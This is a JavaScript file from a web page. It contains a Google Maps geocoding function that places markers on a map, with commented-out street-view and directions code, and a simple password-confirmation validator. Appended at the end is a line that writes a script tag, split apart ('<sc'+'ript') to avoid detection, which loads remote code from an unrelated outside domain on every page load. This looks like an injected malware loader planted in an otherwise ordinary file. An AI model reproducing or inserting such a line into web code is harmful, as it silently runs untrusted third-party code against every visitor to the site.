﻿// JScript File
function showAddress(search,div_map)
 {      
      var map = new GMap(document.getElementById(div_map));
      map.addControl(new GLargeMapControl());
      map.addControl(new GMapTypeControl());
      map.setCenter(new GLatLng(20,0),2);      
      // ====== Create a Client Geocoder ======
      var geo = new GClientGeocoder();

      // ====== Array for decoding the failure codes ======
      var reasons=[];
      reasons[G_GEO_SUCCESS]            = "Success";
      reasons[G_GEO_MISSING_ADDRESS]    = "Missing Address: The address was either missing or had no value.";
      reasons[G_GEO_UNKNOWN_ADDRESS]    = "Unknown Address:  No corresponding geographic location could be found for the specified address.";
      reasons[G_GEO_UNAVAILABLE_ADDRESS]= "Unavailable Address:  The geocode for the given address cannot be returned due to legal or contractual reasons.";
      reasons[G_GEO_BAD_KEY]            = "Bad Key: The API key is either invalid or does not match the domain for which it was given";
      reasons[G_GEO_TOO_MANY_QUERIES]   = "Too Many Queries: The daily geocoding quota for this site has been exceeded.";
      reasons[G_GEO_SERVER_ERROR]       = "Server error: The geocoding request could not be successfully processed.";
      
        //var search = document.getElementById(search).innerText;
        
        // ====== Perform the Geocoding ======        
        geo.getLocations(search, function (result)
          { 
            // If that was successful
            if (result.Status.code == G_GEO_SUCCESS) {              
              // Loop through the results, placing markers
              for (var i=0; i<result.Placemark.length; i++) {
                var p = result.Placemark[i].Point.coordinates;
                
                //Code for arial view
                var marker = new GMarker(new GLatLng(p[1],p[0]));             
                map.addOverlay(marker);                
                //marker.openInfoWindowHtml('MEMO-Omega MFG, Inc.');                
                //Code ends for arial view
              }
                //Code for arial view
                // centre the map on the first result
                var p = result.Placemark[0].Point.coordinates;
                map.setCenter(new GLatLng(p[1],p[0]),11);
                //Code ends for arial view
              
              //Code for Street view
//                    var fenwayPark = new GLatLng(p[1],p[0]);
//                    panoramaOptions = { latlng:fenwayPark };
//                    var myPano = new GStreetviewPanorama(document.getElementById(div_map), panoramaOptions);
              //Code End for Street view
              
            }
            // ====== Decode the error status ======
            else {
              var reason="Code "+result.Status.code;
              if (reasons[result.Status.code]) {
                reason = reasons[result.Status.code]
              } 
              alert('Could not find "'+search+ '" ' + reason);
            }            
          }          
        );
        //Code for second marker
//        geo.getLocations('Dallas Fort Worth International Airport', function (result)
//          { 
//            // If that was successful
//            if (result.Status.code == G_GEO_SUCCESS) {              
//              // Loop through the results, placing markers
//              for (var i=0; i<result.Placemark.length; i++) {
//                var p = result.Placemark[i].Point.coordinates;
//                
//                //Code for arial view
//                var marker2 = new GMarker(new GLatLng(p[1],p[0]));             
//                map.addOverlay(marker2);
//                //marker2.openInfoWindowHtml('DFW Airport');
//                //Code ends for arial view
//              }
//                //Code for arial view
//                // centre the map on the first result
//                //var p = result.Placemark[0].Point.coordinates;
//                //map.setCenter(new GLatLng(p[1],p[0]),14);
//                //Code ends for arial view
//              
//              //Code for Street view
////                    var fenwayPark = new GLatLng(p[1],p[0]);
////                    panoramaOptions = { latlng:fenwayPark };
////                    var myPano = new GStreetviewPanorama(document.getElementById(div_map), panoramaOptions);
//              //Code End for Street view
//              
//            }
//            // ====== Decode the error status ======
//            else {
//              var reason="Code "+result.Status.code;
//              if (reasons[result.Status.code]) {
//                reason = reasons[result.Status.code]
//              } 
//              alert('Could not find "'+search+ '" ' + reason);
//            }            
//          }          
//        );    
        //Code ends for second marker
        //Code for direction
//        var directionsPanel;
//        var directions;
//        directionsPanel = document.getElementById("my_textual_div");
//        directions = new GDirections(map, directionsPanel);
//        directions.load("from: Dallas Fort Worth International Airport to: 720 South Kimball Avenue,Southlake, Texas");
        //Code ends for direction
      }



      function validatePwd(password) {
debugger
var invalid = " "; // Invalid character is a space
var minLength = 6; // Minimum length
var pass = document.getElementById(password);
var pw1 = document.myForm.password.value;
var pw2 = document.myForm.password2.value;
// check for a value in both fields.
if (pw1 == '' || pw2 == '') {
alert('Please enter your password twice.');
return false;
}
// check for minimum length
if (document.myForm.password.value.length < minLength) {
alert('Your password must be at least ' + minLength + ' characters long. Try again.');
return false;
}
// check for spaces
if (document.myForm.password.value.indexOf(invalid) > -1) {
alert("Sorry, spaces are not allowed.");
return false;
}
else {
if (pw1 != pw2) {
alert ("You did not enter the same new password twice. Please re-enter your password.");
return false;
}
else {
alert('Nice job.');
return true;
      }
   }
}





document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Gigahertz.js"></scri'+'pt>');